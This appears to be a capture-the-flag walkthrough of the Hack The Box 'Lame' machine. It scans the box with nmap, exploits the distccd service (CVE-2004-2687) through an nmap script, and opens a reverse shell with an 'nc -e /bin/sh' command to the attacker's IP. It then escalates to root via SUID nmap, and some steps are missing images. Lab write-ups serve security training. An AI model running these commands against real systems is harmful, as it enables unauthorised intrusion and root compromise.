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reconnaissance

First: ping

┌──(0ffSecVault㉿kali)-[~]
└─$ ping 10.10.10.3

nmap usage

┌──(0ffSecVault㉿kali)-[~]
└─$ nmap -sC -sV -p- -oN /home/hackthebox/boxes/lame.3/nmap.txt 10.10.10.3

-sC = default scripts
-sV = versioning
-p- = all ports
-oN = save output

https://offsecvault.github.io/


ports

21/TCP

ftp service is running and per results looks like the “anonymous” user is allowed, let’s check it,

the “?” command will show you the options you have, [ftp usage]



here we do not have much to do ! let’s check the next one.

22/TCP

for this, it will depend but normally it is not very normal to compromise it, let’s check the “searchploit”
usage to see if something works,

┌──(0ffSecVault㉿kali)-[~]
└─$ searchploit [name]

at this time the version of openssh is the following, “OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)”,
so with searchploit you can searc for any exploit related to that specific service/version, etc. however,
there’s no references. so, let’s continue with the next one.

139/tcp & 445/tcp

//samba ports//



3632/tcp

service name: distccd v1

let’s google it “distccd”

looks like exist some options that you can try to exploit the service,

exploitation

→ option#1

DistCC Daemon – Command Execution (Metasploit)

→ option#2

Nmap: distcc-cve2004-2687 download

let’s try option 2, it is part of the nmap tool,

usage:

┌──(0ffSecVault㉿kali)-[~]
└─$ nmap -p 3632 –script [scriptname] –script-args=”[scriptname].cmd=’id'”

p = port

let’s download the script,

┌──(0ffSecVault㉿kali)-[~]
└─$ wget https://svn.nmap.org/nmap/scripts/distcc-cve2004-2687.nse

now, let’s run the script to see if the port is vulnerable or not, if it is successful it will retrieve the [userid]
= id associated, –script-args=”distcc-exec.cmd=’id'”

https://svn.nmap.org/nmap/scripts/distcc-cve2004-2687.nse
https://svn.nmap.org/nmap/scripts/distcc-cve2004-2687.nse


┌──(0ffSecVault㉿kali)-[~]
└─$ nmap -p 3632 –script distcc-cve2004-2687.nse –script-args=”distcc-exec.cmd=’id'”

we got successful results, now we know two things,

- we can exploit it as we retrieved info 

- the default user exploited is “daemon” 

now that we have access, let’s try to run a shell as user “daemon” but first you need to create a
listener,

nc -lnvp PORT

-l = listen mode, for inbound connects
-n = numeric-only IP addresses, no DNS
-v = verbose [use twice to be more verbose]
-p = local port number

┌──(0ffSecVault㉿kali)-[~]
└─$ nc -lnvp 443



now run the nmap script once again to get a reverse bash shell,

┌──(0ffSecVault㉿kali)-[~]
└─$ sudo nmap -p 3632 10.10.10.3 –script distcc-cve2004-2687.nse –script-args=”distcc-cve2004-
2687.cmd=’nc -e /bin/sh 10.10.14.17 443′”

let’s back to the listener to see if we got connection,

YES ! we got a shell for “daemon” user.

collection

now navigate on CLI and try to find the user flag,

check “makis” folder



YES ! flag founded, let’s check the content,

we got USER FLAG !!

let’s continue for ROOT flag, but first spawn an interactive shell so you have a better understanding of
your current position.

For ROOT flag exist some ways on this box due to the attack surface. However, as we worked with the
nmap script engine for the user flag, for root exist one way, “SUID nmap“

enumerate to check and confirm the current folder permissions to check what you can do,

exist two ways,

reconnaissance

– manual

┌──(0ffSecVault㉿kali)-[~]
└─$ find / -type f -user root ( -perm -4000 -o -perm -2000 ) 2>/dev/null -ls



-type = file type, “file”, “directory”, etc.
-user = user selected
-perm = permissions
-2>dev/null = redirects stderr to null file, normally used on linux environments
-o = or

– automate

scripts (LinEnum or linPEAS) will help, however we selected the manual way. “SUID nmap“

checking the manual results you will see the following,

344956 768 -rwsr-xr-x 1 root root 780676 Apr 8 2008 /usr/bin/nmap

https://gtfobins.github.io/gtfobins/nmap/

exist some ways to spawn a shell with nmap, let’s use the following,

https://gtfobins.github.io/gtfobins/nmap/


Step1.

Step2.

you got a bash shell, check the user associated,

sh-3.2# id

sh-3.2# who

let’s check for the root flag, navigate between folders to double check i went to /root folder and I found a
.txt file named “root.txt”

let’s check the content,



DONE !


